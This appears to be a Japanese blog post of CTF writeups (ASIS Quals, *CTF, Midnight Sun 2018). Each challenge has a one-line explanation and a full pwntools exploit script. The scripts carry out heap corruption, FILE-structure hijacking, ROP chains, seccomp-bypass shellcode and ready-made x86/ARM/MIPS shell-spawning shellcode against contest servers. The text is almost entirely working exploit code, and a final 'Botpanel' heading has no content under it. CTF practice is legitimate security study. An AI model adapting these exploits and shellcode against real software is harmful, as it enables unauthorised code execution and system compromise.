ASIS CTF Quals 2018 writeup
Cat
edit
で更新をしないとUAFが起きるので適当にやった
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./Cat') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6000 LHOST = "127.0.0.1" LPORT = 6000 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./Cat'], gdbscript=gdbscript) else: conn = process(['./Cat']) # conn = process(['./Cat'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def create(name, kind, age): conn.sendlineafter('which command?', '1') conn.sendafter('name?', name) conn.sendafter('kind?', kind) conn.sendlineafter('old?', str(age)) def edit(idx, name, kind, age, flag): conn.sendlineafter('which command?', '2') conn.sendlineafter('id?', str(idx)) conn.sendafter('name?', name) conn.sendafter('kind?', kind) conn.sendlineafter('old?', age) conn.recvuntil('/n> ') if flag: conn.sendline('y') else: conn.sendline('n') def delete(idx): conn.sendlineafter('> ', '5') conn.sendlineafter('> ', str(idx)) # exploit log.info('Pwning') create('a'*8, 'b'*8, 20) edit(0, 'x'*8, 'y'*8, '20', False) create('e'*8, p64(0x602000), 20) edit(0, 'w'*8, p64(0x602068), '20', True) conn.recvuntil('which command?') conn.sendline('4') conn.recvuntil('name: ') conn.recvuntil('name: ') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x36e80 dbg("libc_base") create('a'*8, 'b'*8, 20) create('s'*0x10, 'v'*0x10, 20) # 3 edit(3, 'x'*0x10, p64(0x602068) * 2, '20', False) create('x'*10, p64(0x602068)*2, 100) edit(3, 'hogehoge', p64(libc_base + 0x45390), '/bin/sh\x00', False) conn.interactive()
FCascasde
適当にstdinの_IO_buf_base
へnull byteを書き込んで制御をとった。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./fstream') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6002 LHOST = "127.0.0.1" LPORT = 6002 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ b *0x400A91 continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./fstream'], gdbscript=gdbscript) else: conn = process(['./fstream']) # conn = process(['./fstream'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) # exploit log.info('Pwning') conn.recvuntil('>') conn.sendline('11010110\x00') conn.recvuntil('>') conn.send('0'*0x98) conn.recvuntil('0'*0x98) libc_base = u64(conn.recv(6)+'\x00'*2) - 0x20830 dbg('libc_base') conn.recvuntil('>') conn.send('0'*0x30 + p64(libc_base + 0x4526a) + p64(0)* 0x10) conn.recvuntil('>') conn.sendline('1'*0x8) conn.recvuntil('>') conn.sendline('10110101') conn.recvuntil('>') conn.sendline(str(libc_base + 0x3c4918 + 1)) conn.recvuntil('>') payload = p64(0xdeadbeef) * 3 payload += p64(libc_base + 0x3c4b10) + p64(libc_base + 0x3c4b10 + 0x10) + p64(0) conn.sendline(payload) conn.sendline('x'*0x10 + p64(libc_base + 0x00036cfc )) conn.interactive()
Fifty Dollars
0x60のchunkしかmallocできないが、double freeがあるので適当にやった。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./fifty_dollars') context(os='linux', arch=elf.arch) #context(log_level='debug') # output verbose log RHOST = "178.62.40.102" RPORT = 6001 LHOST = "127.0.0.1" LPORT = 6001 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./fifty_dollars'], gdbscript=gdbscript) else: conn = process(['./fifty_dollars']) # conn = process(['./fifty_dollars'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def alloc(idx, tmp): conn.sendlineafter('Your choice:', '1') conn.sendlineafter('Index:', str(idx)) conn.sendafter('Content:', tmp) def show(idx): conn.sendlineafter('Your choice:', '2') conn.sendlineafter('Index:', str(idx)) def delete(idx): conn.sendlineafter('Your choice:', '3') conn.sendlineafter('Index:', str(idx)) # exploit log.info('Pwning') alloc(0, 'hoge'*0x8) alloc(1, 'hoge'*0x8) delete(1) delete(0) show(0) buf = conn.recvuntil('Done!')[:6] heap_base = u64(buf+'\x00'*2) - 0x60 dbg("heap_base") alloc(0, 'x'*0x20) alloc(1, 'y'*0x40+p64(0)+p64(0x61)) alloc(2, 'z'*0x20) alloc(3, 'w'*0x20) alloc(4, 'u'*0x20) delete(0) delete(1) delete(0) alloc(0, p64(heap_base+0xb0) + 'hogehoge') alloc(1, 'hoge') alloc(1, 'hoge') payload = p64(0) + p64(0xc1) alloc(1, payload) delete(2) show(2) buf = conn.recvuntil('Done!')[:6] libc_base = u64(buf+'\x00'*2) - 0x3c4b78 dbg("libc_base") alloc(1, 'hoge'*11 + 'x'*8) alloc(1, 'hoge'*10) alloc(0, 'x'*0x20) alloc(1, 'y'*0x40+p64(0)+p64(0x61)) alloc(2, 'z'*0x40+p64(0)+p64(0x61)) payload = p64(0) + p64(0xc1) alloc(1, payload) alloc(3, p64(0xdeadbeef)*2) alloc(4, 'u'*0x30 + p64(0) + p64(0x31)) aa = 59 for i in range(aa - 13): print i alloc(8, 'a') for i in range(13 - 4): print i alloc(8, 'b') payload = 'x'*0x20 payload += p64(0) + p64(0x31) alloc(8, payload) for _ in range(3): alloc(8, 'c') payload = 'x'*0x10 payload += p64(0) + p64(0x31) alloc(8, payload) delete(0) delete(1) delete(0) alloc(0, p64(heap_base+0x290) + 'hogehoge') alloc(1, 'hoge'*12 + p64(libc_base + 0x3c49c0)) alloc(1, 'hoge'*10) payload = p64(0) + p64(0xc1) + p64(libc_base + 0x4526a) * 8 alloc(1, payload) delete(2) delete(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c67f8 - 0x10 ) alloc(7, payload) payload = p64(libc_base + 0x3c4b78) * 2 alloc(7, payload) delete(1) payload = p64(0) + p64(0x181) + p64(libc_base + 0x3c4b78) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) + p64(0x61) payload += p64(libc_base + 0x3c4b78) + p64(libc_base + 0x3c5520 - 0x10) alloc(9, payload) delete(1) payload = p64(0) + p64(0x17c1) + p64(0) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) + p64(0x17c1 - 0x10*23) + p64(0) * 2 alloc(7, payload) delete(2) delete(1) payload = p64(0) * 3 + p64(libc_base + 0xf1147) alloc(1, payload) conn.interactive()
My Blog
seccompでsandboxになっているが、openはopenatで簡単に回避できるので、stagerを流して本体のshellcodeを実行させた。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./myblog') context(os='linux', arch=elf.arch) context(log_level='debug') # output verbose log RHOST = "159.65.125.233" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./myblog'], gdbscript=gdbscript) else: conn = process(['./myblog']) # conn = process(['./myblog'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def write(con, aut): conn.sendlineafter('4. Exit\n', '1') conn.recvuntil('content') conn.sendline(con) conn.recvuntil('author') conn.sendline(aut) def delete(idx): conn.sendlineafter('4. Exit\n', '2') conn.sendlineafter('index', str(idx)) def show(name): conn.sendlineafter('4. Exit\n', '3') conn.send(name) def bof(pay): conn.sendlineafter('4. Exit\n', '31337') conn.recvuntil('gift 0x') addr = int(conn.recv(12), 16) - 0x0 conn.send(pay) return addr # exploit log.info('Pwning') bin_base = bof('abcd') - 0xef4 dbg('bin_base') for i in range(0x31): write('hoge', 'fuga') show(p64(bin_base + 0x202040)[:7]) delete(-1) for i in range(0x31): delete(i) write('x'*0x2e, 'y'*4) conn.sendline('3') conn.recvuntil('Old Owner : ') heap_base = u64(conn.recv(6)+'\x00'*2) - 0x970 dbg("heap_base") conn.sendline('hoge') # 0x0000116b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) pop_rbp_r12_r13_r14_r15 = bin_base + 0x0000116b pop_rdi = bin_base + 0x00001173 pop_rbp = bin_base + 0x00000990 pop_rsi_r15 = bin_base + 0x00001171 # : pop rsi ; pop r15 ; ret ; (1 found) leave_ret = bin_base + 0x10fa heap = heap_base + 0x1ef0 + 0x38 rop = p64(pop_rdi) + p64(0x0) rop += p64(pop_rbp) + p64(bin_base +0x202040) rop += p64(leave_ret) write(rop[:0x2e], 'y'*0x6) write('x'*0x2e, 'y'*0x6) write('x'*0x2e, 'y'*0x6) #write('x'*0x20, 'y'*4) shellcode = ''' hoge: syscall; push rcx; pop rsi; pop rax; jmp hoge; ''' show(asm(shellcode)) raw_input('exec shellcode') bof(p64(heap)*2+p64(bin_base + 0x000010fa)) shellcode = ''' push 0x30 pop rax xor al, 0x30 push rax mov rax, 7449354444781596526 push rax mov rax, 8606431000579237935 push rax mov rdi, -100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, 257 syscall mov rdi, rax lea rsi, [rsp+0x100] mov rdx, 0x100 xor rax, rax syscall mov rdi, 0x1 lea rsi, [rsp+0x100] mov rdx, 0x100 mov rax, 1 syscall ''' conn.sendline('\x90'*0x30 + asm(shellcode)) conn.interactive()
Message Me!
リモートと手元の環境ではtimezoneが違うせいか、ctimeによってheapの状況が変わり元々のexploitは刺さらなかった。固定アドレスとなっているbss上に必要なものを配置した。
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') elf = ELF('./message_me') context(os='linux', arch=elf.arch) # context(log_level='debug') # output verbose log RHOST = "159.65.125.233" RPORT = 6003 LHOST = "127.0.0.1" LPORT = 6003 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./message_me'], gdbscript=gdbscript) else: conn = process(['./message_me']) # conn = process(['./message_me'], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) def add(size, mess): conn.sendlineafter('choice : ', '0') conn.sendlineafter('size : ', str(size)) conn.sendafter('meesage', mess) def remove(idx): conn.sendlineafter('choice : ', '1') conn.sendlineafter('Give me index of the message : ', str(idx)) conn.recvuntil('Done') def show(idx): conn.sendlineafter('choice : ', '2') conn.sendlineafter('Give me index of the message : ', str(idx)) def change_time_stamp(idx): conn.sendlineafter('choice : ', '3') conn.sendlineafter('Give me index', str(idx)) conn.recvuntil('Done') # exploit log.info('Pwning') add(0xf00, 'hoge'*10) add(0x100, 'hoge'*10) remove(0) add(0x80, 'x') show(2) conn.recvuntil('Message : ') libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c5178 dbg('libc_base') stdout = libc_base + 0x3c5620 stdin = libc_base + 0x3c48e0 add(0x60, p64(0x71) + p64(0x602075)) # 3 add(0x60, 'hoge') # 4 remove(3) remove(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) add(0x60, 'hoge') add(0x60, 'hoge') payload = 'x'*0xb + 'y'*8 payload += p64(libc_base + 0x3c5620) * 2+p64(libc_base + 0x3c48e0) + p64(0x181) payload += p64(0x6020c0) + p64(0x602230+8)+ p64(0x602230+0x28) print hex(len(payload)) add(0x60, payload) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(1) change_time_stamp(2) change_time_stamp(2) change_time_stamp(2) change_time_stamp(2) remove(0) fake_stdout = p64(0x0) fake_stdout += p64(0xfbad2887) + p64(0)*2+p64(libc_base + 0x3c56a3) * 5 + p64(libc_base +0x3c56a4) fake_stdout += p64(0)*4 + p64(libc_base+0x3c48e0) fake_stdout += p64(1) + p64(0xffffffffffffffff) fake_stdout += p64(0) + p64(libc_base+0x3c6780) fake_stdout += p64(0xffffffffffffffff) + p64(0) fake_stdout += p64(libc_base+0x3c47a0) + p64(0)*3 fake_stdout += p64(0xffffffff) + p64(0)*2 fake_stdout += p64(0x6021b0) vtable = 'a'*0x18 + p64(libc_base + 0x4526a) + 'c'*0x18 + p64(libc_base + 0x791e0) + 'b'*0x30 add(0x170, fake_stdout+vtable) add(0x60, p64(0x71)+p64(0x602075)) add(0x60, 'fugafugafugafuga') remove(3) remove(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(4) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(3) change_time_stamp(4) add(0x60, 'fugafugafugafuga') add(0x60, 'fugafugafugafuga') add(0x60, 'x'*0xb + 'y'*8 + p64(0x6020d0)) conn.interactive()
* CTF 2018 writeup
warmup (misc)
miscだがpwnだった。 stack bofがあるのでやるだけ。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.91.226.78" RPORT = 10006 LHOST = "127.0.0.1" LPORT = 10006 # libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253') elf = ELF('./warmup') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253 b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./warmup'], execute) else: conn = process(['./warmup']) # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'}) # preparing for exploitation pop_rdi = 0x00400a63 # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) call_r12 = 0x00400a40 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) set_regs = 0x00400a5a printf_got = 0x0000000000600fc8 puts_plt = elf.symbols['puts'] main_addr = 0x4008B9 log.info('Pwning') conn.sendlineafter('for?', str(0x601030)) conn.recv(1) heap_addr = int(conn.recvline(), 16) log.info('heap_addr = 0x%x', heap_addr) payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr) conn.sendline(payload) conn.sendlineafter('for?', str(0x601010)) conn.recv(1) libc_base = int(conn.recvline(), 16) - 0x3c5620 log.info('libc_base = 0x%x', libc_base) payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10 conn.sendline(payload) conn.interactive()
urlparse (pwn)
size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "47.75.4.252" RPORT = 10013 LHOST = "127.0.0.1" LPORT = 10013 # libc = ELF('') elf = ELF('./urlparse2') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./aaa'], execute) else: conn = process(['./urlparse2']) # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(size, url): conn.sendlineafter('> ', '1') conn.sendlineafter('size: ', str(size)) conn.sendlineafter('URL: ', url) def encode(idx): conn.sendlineafter('> ', '2') conn.sendlineafter('index: ', str(idx)) def decode(idx): conn.sendlineafter('> ', '3') conn.sendlineafter('index: ', str(idx)) def _list(): conn.sendlineafter('> ', '4') def delete(idx): conn.sendlineafter('> ', '5') conn.sendlineafter('index: ', str(idx)) log.info('Pwning') create(0x80, '%31%31%31') create(0x80, '%31%31%31') delete(1) create(0x0, '') _list() conn.recvuntil('0: ') libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8 log.info('libc_base = 0x%x', libc_base) delete(1) delete(0) create(0x80, 'xxxx') create(0x80, 'yyyy') create(0x80, 'wwww') create(0x80, 'zzzz') delete(0) delete(1) create(0x0, '') _list() conn.recvuntil('0: ') heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0 log.info('heap_base = 0x%x', heap_base) delete(0) delete(0) delete(0) create(0x100, '\x10'*0x100) delete(0) create(0, '') create(0x1000, 'hoge') create(0x1000, 'hoge') create(0x60, 'targetfastbin') create(0x1000-0x70, 'hoge') create(0x100, 'BANPEI') encode(5) delete(4) delete(2) # free fastbin import urllib for _ in range(0x20-2): create(0x100, 'hoge') payload = 'h'*0x30 payload += '%25%37%31' + '%25%30%30' * 7 payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed))) create(0x100, payload) decode(0) create(0x60, 'a') payload = 'x'*0xb + p64(libc_base + 0xf1147) create(0x60, payload) conn.interactive()
babtstack (pwn)
よくわからんがcanaryがあるはずなのに、exloitできてしまった。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.91.226.78" RPORT = 10005 LHOST = "127.0.0.1" LPORT = 10005 # libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253') elf = ELF('./bs') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400a9c c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./bs'], execute) else: conn = process(['./bs']) # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'}) # preparing for exploitation pop_rbp = 0x00400870 leave_ret = 0x00400955 pop_rdi = 0x00400c03 pop_rsi_r15 = 0x00400c01 # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) set_regs = 0x400bfa # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) call_r12 = 0x00400be0 puts_plt = elf.symbols['puts'] read_plt = elf.symbols['read'] read_got = 0x0000000000601fd0 log.info('Pwning') conn.recvuntil('send?') conn.sendline(str(0x20c0)) time.sleep(0.01) payload = 'x'*(0x20c0 - 0x10a8) rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt) rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0) rop += p64(call_r12) + p64(0x0)*7 rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret) payload += rop conn.send(payload.ljust(0x20c0, 'x')) conn.recvuntil('goodbye.\n') libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740 log.info('libc_base = 0x%x', libc_base) rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390) rop = '\x00'*0x8 + p64(libc_base + 0x4526a) conn.sendline(rop) conn.interactive()
primepwn (pwn)
long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "47.89.18.224" RPORT = 10008 LHOST = "127.0.0.1" LPORT = 10008 # libc = ELF('') elf = ELF('./primepwn') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400a87 b *0x400a3a c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./primepwn'], execute) else: conn = process(['./primepwn']) # conn = process(['./primepwn'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.recvuntil('(xxxx+') salt = conn.recv(len('cACBELX3C9pULUUB')) print salt conn.recvuntil(' == ') hashed = conn.recvline()[:-1] print hashed import hashlib import string import itertools def search(s, h): chars = string.ascii_letters + string.digits for el in itertools.permutations(chars, 4): x = ''.join(el) if hashlib.sha256(x+s).hexdigest() == h: return x return None conn.sendline(search(salt, hashed)) shellcode = '''hoge: syscall; xchg ecx,esi; mov dh,18; jmp hoge''' shell = 'mov rsp, 0x601f00' print u64(asm(shellcode)) conn.sendline(str(u64(asm(shellcode)))) time.sleep(1) conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh())) time.sleep(1) conn.interactive()
note (pwn)
stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.89.18.224" RPORT = 10007 LHOST = "127.0.0.1" LPORT = 10007 # libc = ELF('./libc.so.6') elf = ELF('./note') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x400fe9 c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./note'], execute) else: conn = process(['./note']) # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def edit(payload): conn.sendlineafter('> ', '1') conn.sendlineafter('Note:', payload) def show(): conn.sendlineafter('> ', '2') conn.recvuntil('Note:') return conn.recvline()[:-1] def save(): conn.sendlineafter('> ', '3') conn.recvuntil('Saved!') def change(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('ID:', payload) ''' 0x00401003: pop rdi ; ret ; (1 found) 0x00401001: pop rsi ; pop r15 ; ret ; (1 found) 0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) ''' pop_rdi = 0x00401003 pop_rsi_r15 = 0x00401001 set_regs = 0x00400ffa call_r12 = 0x00400fd8 leave_ret = 0x00400e3d printf_plt = elf.symbols['printf'] puts_got = 0x601f90 write_file = 0x400D4D main = 0x400E3F log.info('Pwning') conn.sendline('%s'*0x69) payload = 'x'*168 + p64(0x602110) #payload = 'x'*168 + 'z' *8 payload = payload.ljust(0x100, 'y') edit(payload) payload = 'a'*0x64 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got) payload += p64(call_r12) + p64(0)*7 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300) payload += p64(call_r12) + p64(0)*7 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110) payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4 payload += p64(leave_ret) conn.recvuntil('> ') conn.sendline(payload) libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690 print hex(libc_base) payload = 'x'*8 + p64(libc_base + 0x4526a) conn.sendline(payload) conn.interactive()
Midnight Sun CTF 2018 writeup
Babyshells - Pwn (50 + 15)
x86, ARM, MIPSのshellcodeを送るだけ。
x86
#!/usr/bin/env python from pwn import * # context(os='linux', arch='i386') context(os='linux', arch='i386') context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 7000 LHOST = "127.0.0.1" LPORT = 7000 # libc = ELF('') elf = ELF('./chall') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./chall'], execute) else: conn = process(['./chall']) # conn = process(['./chall'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.sendline('1') conn.sendline(asm(shellcraft.sh())) conn.interactive()
ARM
shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68" conn.sendline('1') conn.sendline(shell) conn.interactive()
MIPS
shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c" conn.sendline('1') conn.sendline(shell)
Haxpresso - Pwn (300)
書き込みができるポインタが任意に制御できるので、GOTに書き換えた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('./libc.so') elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute) else: conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33']) # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation def add(name): conn.sendlineafter(' > ', '1') conn.sendlineafter(': ', '1') conn.sendlineafter(': ', 'y') conn.sendafter(': ', name) conn.recvuntil('added!') def edit(idx, name): conn.sendlineafter(' > ', '4') conn.sendlineafter(': ', str(idx)) conn.sendafter(': ', name) conn.recvuntil('edited!') log.info('Pwning') add('a') add('b') conn.sendlineafter(' > ', '3') conn.sendlineafter(': ', '0') conn.sendlineafter(': ', 'n') conn.sendlineafter(' > ', '3') conn.recvuntil('Name: ') buf = conn.recvline() print repr(buf) libc_base = u32(buf[0:4]) - 0xd661 log.info('libc_base = 0x%x', libc_base) conn.sendlineafter(': ', 'n') conn.sendlineafter(': ', 'n') payload = 'x'*0x24 + p32(0x0804c030) edit(0, payload) edit(1, p32(libc_base + 0x3a940)) conn.sendline('4') conn.sendline('0') conn.sendline('/bin/sh\x00') conn.interactive()
Botpanel - Pwn (300 + 10)
